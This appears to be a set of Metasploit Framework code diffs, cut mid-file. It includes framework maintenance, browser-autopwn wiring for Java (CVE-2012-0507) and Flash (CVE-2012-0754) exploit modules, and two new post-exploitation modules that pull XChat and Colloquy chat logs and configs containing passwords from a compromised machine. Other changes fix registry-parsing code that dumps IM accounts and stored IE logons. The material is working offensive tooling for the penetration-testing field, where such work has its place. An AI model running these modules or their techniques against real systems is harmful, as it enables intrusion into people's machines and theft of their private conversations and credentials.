||||
# Flag to indicate database migration has completed
|
||||
attr_accessor :migrated
|
||||
|
||||
# Array of additional migration paths
|
||||
attr_accessor :migration_paths
|
||||
|
||||
def initialize(framework, opts = {})
|
||||
|
||||
self.framework = framework
|
||||
self.migrated = false
|
||||
self.migration_paths = [ ::File.join(Msf::Config.install_root, "data", "sql", "migrate") ]
|
||||
|
||||
@usable = false
|
||||
|
||||
# Don't load the database if the user said they didn't need it.
|
||||
@@ -225,16 +231,37 @@ class DBManager
|
||||
# Migrate database to latest schema version
|
||||
#
|
||||
def migrate(verbose=false)
|
||||
|
||||
temp_dir = ::File.expand_path(::File.join( Msf::Config.config_directory, "schema", "#{Time.now.to_i}_#{$$}" ))
|
||||
::FileUtils.rm_rf(temp_dir)
|
||||
::FileUtils.mkdir_p(temp_dir)
|
||||
|
||||
self.migration_paths.each do |mpath|
|
||||
dir = Dir.new(mpath) rescue nil
|
||||
if not dir
|
||||
elog("Could not access migration path #{mpath}")
|
||||
next
|
||||
end
|
||||
|
||||
dir.entries.each do |ent|
|
||||
next unless ent =~ /^\d+.*\.rb$/
|
||||
::FileUtils.cp( ::File.join(mpath, ent), ::File.join(temp_dir, ent) )
|
||||
end
|
||||
end
|
||||
|
||||
success = true
|
||||
begin
|
||||
migrate_dir = ::File.join(Msf::Config.install_root, "data", "sql", "migrate")
|
||||
ActiveRecord::Migration.verbose = verbose
|
||||
ActiveRecord::Migrator.migrate(migrate_dir, nil)
|
||||
ActiveRecord::Migrator.migrate(temp_dir, nil)
|
||||
rescue ::Exception => e
|
||||
self.error = e
|
||||
elog("DB.migrate threw an exception: #{e}")
|
||||
dlog("Call stack:\n#{e.backtrace.join "\n"}")
|
||||
return false
|
||||
success = false
|
||||
end
|
||||
|
||||
::FileUtils.rm_rf(temp_dir)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ module FindShell
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'find_tag'.
|
||||
# 'find_shell'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "find_shell"
|
||||
|
||||
+15
-6
@@ -528,12 +528,21 @@ protected
|
||||
end
|
||||
|
||||
# Assemble the payload from the assembly
|
||||
cpu = case module_info['Arch']
|
||||
when ARCH_X86 then Metasm::Ia32.new
|
||||
when ARCH_X86_64 then Metasm::X86_64.new
|
||||
when ARCH_PPC then Metasm::PowerPC.new
|
||||
when ARCH_ARMLE then Metasm::ARM.new
|
||||
end
|
||||
a = self.arch
|
||||
if a.kind_of? Array
|
||||
a = self.arch.first
|
||||
end
|
||||
cpu = case a
|
||||
when ARCH_X86 then Metasm::Ia32.new
|
||||
when ARCH_X86_64 then Metasm::X86_64.new
|
||||
when ARCH_X64 then Metasm::X86_64.new
|
||||
when ARCH_PPC then Metasm::PowerPC.new
|
||||
when ARCH_ARMLE then Metasm::ARM.new
|
||||
else
|
||||
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
|
||||
elog("Call stack:\n#{caller.join("\n")}")
|
||||
return ""
|
||||
end
|
||||
sc = Metasm::Shellcode.assemble(cpu, asm).encoded
|
||||
|
||||
# Calculate the actual offsets now that it's been built
|
||||
|
||||
@@ -174,6 +174,12 @@ class Driver < Msf::Ui::Driver
|
||||
|
||||
# Parse any specified database.yml file
|
||||
if framework.db.usable and not opts['SkipDatabaseInit']
|
||||
|
||||
# Append any migration paths necessary to bring the database online
|
||||
if opts['DatabaseMigrationPaths']
|
||||
opts['DatabaseMigrationPaths'].each {|m| framework.db.migrations_paths << m }
|
||||
end
|
||||
|
||||
# Look for our database configuration in the following places, in order:
|
||||
# command line arguments
|
||||
# environment variable
|
||||
|
||||
@@ -12,10 +12,12 @@ class Hive
|
||||
hive_blob = open(hivepath, "rb") { |io| io.read }
|
||||
|
||||
@hive_regf = RegfBlock.new(hive_blob)
|
||||
return nil if !@hive_regf.root_key_offset
|
||||
|
||||
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
|
||||
return nil if !@root_key.lf_record
|
||||
|
||||
keys = []
|
||||
|
||||
root_key.lf_record.children.each do |key|
|
||||
keys << key.name
|
||||
end
|
||||
|
||||
@@ -34,9 +34,9 @@ class NodeKey
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
|
||||
@name = hive[offset+0x4c, @name_length].to_s
|
||||
|
||||
windows_time = @timestamp
|
||||
unix_time = windows_time/10000000-11644473600
|
||||
ruby_time = Time.at(unix_time)
|
||||
windows_time = @timestamp
|
||||
unix_time = windows_time/10000000-11644473600
|
||||
ruby_time = Time.at(unix_time)
|
||||
|
||||
@readable_timestamp = ruby_time
|
||||
|
||||
|
||||
@@ -145,7 +145,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
while (::Time.now.to_f < etime)
|
||||
while(adv = getadvertisement())
|
||||
next if not adv[:icmpv6]
|
||||
next if not adv
|
||||
|
||||
addr = map_neighbor(neighs, adv)
|
||||
next if not addr
|
||||
|
||||
@@ -24,14 +24,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(
|
||||
'Name' => 'Squid Proxy Port Scanner',
|
||||
'Description' => %q{
|
||||
A misconfigured Squid proxy can allow an attacker to make requests on their behalf.
|
||||
This may give the attacker information about devices that they cannot reach but the
|
||||
A misconfigured Squid proxy can allow an attacker to make requests on his behalf.
|
||||
This may give the attacker information about devices that he cannot reach but the
|
||||
Squid proxy can. For example, an attacker can make requests for internal IP addresses
|
||||
against a misconfigurated open Squid proxy exposed to the Internet therefore performing
|
||||
against a misconfigurated open Squid proxy exposed to the Internet, therefore performing
|
||||
an internal port scan. The error messages returned by the proxy are used to determine
|
||||
if the port is open or not. Many Squid proxies use custom error codes so your mileage
|
||||
may vary. The open_proxy module can be used to test for open proxies though a Squid proxy
|
||||
does not have to be open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
|
||||
if the port is open or not.
|
||||
|
||||
Many Squid proxies use custom error codes so your mileage may vary. The open_proxy
|
||||
module can be used to test for open proxies, though a Squid proxy does not have to be
|
||||
open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
|
||||
the attack to pivot to another part of the network).
|
||||
},
|
||||
'Author' => ['willis'],
|
||||
|
||||
@@ -14,34 +14,40 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize( info = {} )
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({ :javascript => false })
|
||||
|
||||
def initialize( info = {} )
|
||||
super( update_info( info,
|
||||
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
|
||||
'Description' => %q{
|
||||
'Name' => 'Java AtomicReferenceArray Type Violation Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability due to the fact that
|
||||
AtomicReferenceArray uses the Unsafe class to store a reference in an
|
||||
array directly, which may violate type safety if not used properly.
|
||||
This allows a way to escape the JRE sandbox, and load additional classes
|
||||
in order to perform malicious operations.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r', # metasploit module
|
||||
'juan vazquez' # metasploit module
|
||||
'Jeroen Frijters', #Initial discovery according to his blog
|
||||
'sinn3r', # metasploit module
|
||||
'juan vazquez', # metasploit module
|
||||
'egypt' # added support for older java versions
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2012-0507'],
|
||||
['OSVDB', '80724'],
|
||||
['BID', '52161'],
|
||||
['URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=cd48169a-9405-4f63-9087-798c4a1866d3'],
|
||||
['URL', 'http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx'],
|
||||
['URL', 'http://schierlm.users.sourceforge.net/TypeConfusion.html'],
|
||||
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-0507']
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
@@ -92,9 +98,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
data = nil
|
||||
host = nil
|
||||
port = nil
|
||||
data = ""
|
||||
host = ""
|
||||
port = ""
|
||||
peer = "#{cli.peerhost}:#{cli.peerport}"
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
@@ -148,16 +154,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "#{peer} - sending jar to ..." )
|
||||
print_status( "#{peer} - sending jar..." )
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
def generate_html( data, jar, host, port )
|
||||
jar_name = rand_text_alpha(rand(6)+3) + ".jar"
|
||||
|
||||
html = "<html><head></head>"
|
||||
html += "<body>"
|
||||
html += "<applet archive=\"Applet.jar\" code=\"a.Exploit.class\" width=\"1\" height=\"1\">"
|
||||
html += "<applet archive=\"#{jar_name}\" code=\"msf.x.Exploit.class\" width=\"1\" height=\"1\">"
|
||||
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
||||
html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
|
||||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
@@ -171,3 +179,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -12,6 +12,15 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
autopwn_info({
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:vuln_test => "GetVariable",
|
||||
:classid => "ShockwaveFlash.ShockwaveFlash",
|
||||
:rank => NormalRanking, # reliable memory corruption
|
||||
:javascript => true
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player MP4 'cprt' Overflow",
|
||||
@@ -212,6 +221,21 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
|
||||
#
|
||||
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
|
||||
#
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
self.add_resource({'Path'=>'/test.mp4', 'Proc'=>proc})# rescue nil
|
||||
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
agent = request.headers['User-Agent']
|
||||
@@ -299,28 +323,16 @@ pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
#
|
||||
# "/test.mp4" is currently hard-coded in the swf file, so we need to add to resource
|
||||
#
|
||||
proc = Proc.new do |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
end
|
||||
|
||||
add_resource({'Path'=>'/test.mp4', 'Proc'=>proc}) rescue nil
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status("Removing mp4 resource")
|
||||
remove_resource('/test.mp4') rescue nil
|
||||
super
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0754.swf" )
|
||||
fd = ::File.open( path, "rb" )
|
||||
|
||||
@@ -0,0 +1,169 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Linux Gather XChat Enumeration',
|
||||
'Description' => %q{
|
||||
This module will collect XChat's config files and chat logs from the victim's
|
||||
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
|
||||
CONFIGS option can be used to collect information such as channel settings,
|
||||
channel/server passwords, etc. The CHATS option will simply download all the
|
||||
.log files.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'linux' ],
|
||||
# linux meterpreter is too busted to support right now,
|
||||
# will come back and add support once it's more usable.
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Actions' =>
|
||||
[
|
||||
['CONFIGS', { 'Description' => 'Collect XCHAT\'s config files' } ],
|
||||
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
|
||||
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
|
||||
],
|
||||
'DefaultAction' => 'ALL'
|
||||
))
|
||||
end
|
||||
|
||||
def get_file(file)
|
||||
tries = 0
|
||||
print_status("#{@peer} - Downloading #{file}")
|
||||
|
||||
begin
|
||||
buf = read_file(file)
|
||||
buf = '' if buf =~ /No such file or directory/
|
||||
rescue ::Timeout::Error => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
buf = ''
|
||||
rescue EOFError => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
buf = ''
|
||||
end
|
||||
|
||||
return buf
|
||||
end
|
||||
|
||||
def whoami
|
||||
user = cmd_exec("whoami").chomp
|
||||
return user
|
||||
end
|
||||
|
||||
def list_logs(base)
|
||||
list = cmd_exec("ls -l #{base}*.log")
|
||||
|
||||
return [] if list =~ /No such file or directory/
|
||||
files = list.scan(/\d+\x20\w{3}\x20\d+\x20\d{2}\:\d{2}\x20(.+)$/).flatten
|
||||
|
||||
return files
|
||||
end
|
||||
|
||||
def save(type, data)
|
||||
case type
|
||||
when :configs
|
||||
type = 'xchat.config'
|
||||
when :chatlogs
|
||||
type = 'xchat.chatlogs'
|
||||
end
|
||||
|
||||
data.each do |d|
|
||||
fname = ::File.basename(d[:filename])
|
||||
p = store_loot(
|
||||
type,
|
||||
'text/plain',
|
||||
session,
|
||||
d[:data],
|
||||
fname
|
||||
)
|
||||
|
||||
print_good("#{@peer} - #{fname} saved as #{p}")
|
||||
end
|
||||
end
|
||||
|
||||
def get_chatlogs(base)
|
||||
base << "xchatlogs/"
|
||||
|
||||
logs = []
|
||||
|
||||
list_logs(base).each do |l|
|
||||
vprint_status("#{@peer} - Downloading: #{l}")
|
||||
data = read_file(l)
|
||||
logs << {
|
||||
:filename => l,
|
||||
:data => data
|
||||
}
|
||||
end
|
||||
|
||||
return logs
|
||||
end
|
||||
|
||||
def get_configs(base)
|
||||
config = []
|
||||
files = ['servlist_.conf', 'xchat.conf']
|
||||
files.each do |f|
|
||||
vprint_status("#{@peer} - Downloading: #{base + f}")
|
||||
buf = read_file(base + f)
|
||||
next if buf.empty?
|
||||
config << {
|
||||
:filename => f,
|
||||
:data => buf
|
||||
}
|
||||
end
|
||||
|
||||
return config
|
||||
end
|
||||
|
||||
def run
|
||||
if action.nil?
|
||||
print_error("Please specify an action")
|
||||
return
|
||||
end
|
||||
|
||||
@peer = "#{session.session_host}:#{session.session_port}"
|
||||
|
||||
user = whoami
|
||||
if user.nil?
|
||||
print_error("#{@peer} - Unable to get username, abort.")
|
||||
return
|
||||
end
|
||||
|
||||
base = "/home/#{user}/.xchat2/"
|
||||
|
||||
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
||||
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
||||
|
||||
save(:configs, configs) if not configs.empty?
|
||||
save(:chatlogs, chatlogs) if not chatlogs.empty?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
Linux xchat path:
|
||||
/home/[username]/.xchat2/
|
||||
* /home/[username]/.xchat2/servlist_.conf
|
||||
* /home/[username]/.xchat2/xchat.conf
|
||||
* /home/[username]/.xchat2/xchatlogs/FreeNode-#aha.log
|
||||
=end
|
||||
@@ -224,14 +224,21 @@ class Metasploit3 < Msf::Post
|
||||
# and retry under certain conditions.
|
||||
#
|
||||
def exec(cmd)
|
||||
tries = 0
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
rescue EOFError => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -28,14 +28,21 @@ class Metasploit3 < Msf::Post
|
||||
end
|
||||
|
||||
def exec(cmd)
|
||||
tries = 0
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
rescue EOFError => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -40,14 +40,21 @@ class Metasploit3 < Msf::Post
|
||||
# and retry under certain conditions.
|
||||
#
|
||||
def exec(cmd)
|
||||
tries = 0
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
rescue EOFError => e
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,175 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OSX Gather Colloquy Enumeration',
|
||||
'Description' => %q{
|
||||
This module will collect Colloquy's info plist file and chat logs from the
|
||||
victim's machine. There are three actions you may choose: INFO, CHATS, and
|
||||
ALL. Please note that the CHAT action may take a long time depending on the
|
||||
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
|
||||
to search for certain log names (which consists of the contact's name, and a
|
||||
timestamp). The default 'PATTERN' is configured as "^alien" as an example
|
||||
to search for any chat logs associated with the name "alien".
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'osx' ],
|
||||
'SessionTypes' => [ "shell" ],
|
||||
'Actions' =>
|
||||
[
|
||||
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
|
||||
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
|
||||
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
|
||||
],
|
||||
'DefaultAction' => 'ALL'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a plst file to XML format:
|
||||
# http://hints.macworld.com/article.php?story=20050430105126392
|
||||
#
|
||||
def plutil(filename)
|
||||
exec("plutil -convert xml1 #{filename}")
|
||||
data = exec("cat #{filename}")
|
||||
return data
|
||||
end
|
||||
|
||||
def get_chatlogs(base)
|
||||
chats = []
|
||||
|
||||
# Get all the logs
|
||||
print_status("#{@peer} - Download logs...")
|
||||
folders = dir("\"#{base}\"")
|
||||
folders.each do |f|
|
||||
# Get all the transcripts from this folder
|
||||
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
|
||||
trans.split("\n").each do |t|
|
||||
fname = ::File.basename(t)
|
||||
# Check fname before downloading it
|
||||
next if fname !~ datastore['PATTERN']
|
||||
print_status("#{@peer} - Downloading #{t}")
|
||||
content = exec("cat \"#{t}\"")
|
||||
chats << {:log_name => fname, :content => content}
|
||||
end
|
||||
end
|
||||
|
||||
return chats
|
||||
end
|
||||
|
||||
def get_preferences(path)
|
||||
raw_plist = exec("cat #{path}")
|
||||
return nil if raw_plist =~ /No such file or directory/
|
||||
|
||||
xml_plist = plutil(path)
|
||||
return xml_plist
|
||||
end
|
||||
|
||||
def save(type, data)
|
||||
case type
|
||||
when :preferences
|
||||
p = store_loot(
|
||||
'colloquy.preferences',
|
||||
'text/plain',
|
||||
session,
|
||||
data,
|
||||
"info.colloquy.plist"
|
||||
)
|
||||
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
|
||||
|
||||
when :chatlogs
|
||||
data.each do |d|
|
||||
log_name = d[:log_name]
|
||||
content = d[:content]
|
||||
|
||||
p = store_loot(
|
||||
'colloquy.chatlogs',
|
||||
'text/plain',
|
||||
session,
|
||||
content,
|
||||
log_name
|
||||
)
|
||||
print_good("#{@peer} - #{log_name} stored in #{p}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def whoami
|
||||
exec("/usr/bin/whoami")
|
||||
end
|
||||
|
||||
def dir(path)
|
||||
subdirs = exec("ls -l #{path}")
|
||||
return [] if subdirs =~ /No such file or directory/
|
||||
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
|
||||
return items
|
||||
end
|
||||
|
||||
def exec(cmd)
|
||||
tries = 0
|
||||
begin
|
||||
out = cmd_exec(cmd).chomp
|
||||
rescue ::Timeout::Error => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
rescue EOFError => e
|
||||
tries += 1
|
||||
if tries < 3
|
||||
vprint_error("#{@peer} - #{e.message} - retrying...")
|
||||
retry
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
if action.nil?
|
||||
print_error("Please specify an action")
|
||||
return
|
||||
end
|
||||
|
||||
@peer = "#{session.session_host}:#{session.session_port}"
|
||||
user = whoami
|
||||
|
||||
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
|
||||
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
|
||||
|
||||
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
|
||||
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
|
||||
|
||||
save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
|
||||
save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
/Users/[user]/Documents/Colloquy Transcripts
|
||||
/Users/[user]/Library/Preferences/info.colloquy.plist
|
||||
|
||||
Transcript example:
|
||||
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
|
||||
=end
|
||||
@@ -71,6 +71,11 @@ class OptsConsole
|
||||
options['DatabaseYAML'] = m
|
||||
end
|
||||
|
||||
opts.on("-M", "--migration-path <dir>", "Specify a directory containing additional DB migrations") do |m|
|
||||
options['DatabaseMigrationPaths'] ||= []
|
||||
options['DatabaseMigrationPaths'] << m
|
||||
end
|
||||
|
||||
opts.on("-e", "--environment <production|development>", "Specify the database environment to load from the YAML") do |m|
|
||||
options['DatabaseEnv'] = m
|
||||
end
|
||||
|
||||
+10
-1
@@ -6,7 +6,6 @@
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '..', 'lib', 'lab'))
|
||||
|
||||
require 'yaml'
|
||||
require 'vm_controller'
|
||||
|
||||
module Msf
|
||||
|
||||
@@ -19,6 +18,16 @@ class Plugin::Lab < Msf::Plugin
|
||||
def initialize(driver)
|
||||
super(driver)
|
||||
@controller = nil
|
||||
|
||||
#
|
||||
# Require the lab gem, but fail nicely if it's not there.
|
||||
#
|
||||
begin
|
||||
require 'lab'
|
||||
rescue LoadError
|
||||
raise "WARNING: Lab gem not found, Please 'gem install lab'"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
+9
-8
@@ -172,9 +172,9 @@ def get_aol_instant_messenger_information
|
||||
users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users')
|
||||
last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name")
|
||||
|
||||
print_all_keys(user_list_key)
|
||||
print_all_keys(users_list_key)
|
||||
|
||||
user_list_key.lf_record.children.each do |screenname|
|
||||
users_list_key.lf_record.children.each do |screenname|
|
||||
away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList")
|
||||
file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer")
|
||||
profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry")
|
||||
@@ -209,7 +209,7 @@ def get_windows_messenger_information
|
||||
last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName")
|
||||
|
||||
print_all(contact_list_information_key)
|
||||
print_all(file_transers_information_key)
|
||||
print_all(file_transfers_information_key)
|
||||
print_all(last_user_information_key)
|
||||
end
|
||||
end
|
||||
@@ -228,7 +228,7 @@ end
|
||||
def get_ie_information
|
||||
if @hive.hive_name =~ /NTUSER\.dat/i
|
||||
stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData")
|
||||
stored_search_terms_information_key = @hive.relative_quety("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
|
||||
stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex")
|
||||
ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main")
|
||||
history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep")
|
||||
typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs")
|
||||
@@ -238,13 +238,13 @@ def get_ie_information
|
||||
|
||||
print_all(stored_logon_information_key)
|
||||
print_all(stored_search_terms_information_key)
|
||||
print_all(ie_settings_information_key)
|
||||
print_all(type_urls_information_key)
|
||||
print_all(ie_setting_information_key)
|
||||
print_all(typed_urls_information_key)
|
||||
print_all(intelliforms_information_key)
|
||||
print_all(autocomplete_web_addresses_key)
|
||||
print_all(default_download_dir)
|
||||
|
||||
puts "Days saved in history: " + history_length_value_key.value.data.to_s
|
||||
puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array
|
||||
end
|
||||
end
|
||||
|
||||
@@ -266,7 +266,7 @@ def get_yahoo_messenger_information
|
||||
file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer")
|
||||
message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive")
|
||||
|
||||
print_all(file_transfer_information_key)
|
||||
print_all(file_transfers_information_key)
|
||||
print_all(message_archiving_information_key)
|
||||
end
|
||||
end
|
||||
@@ -375,6 +375,7 @@ when "list_drivers"
|
||||
when "get_everything"
|
||||
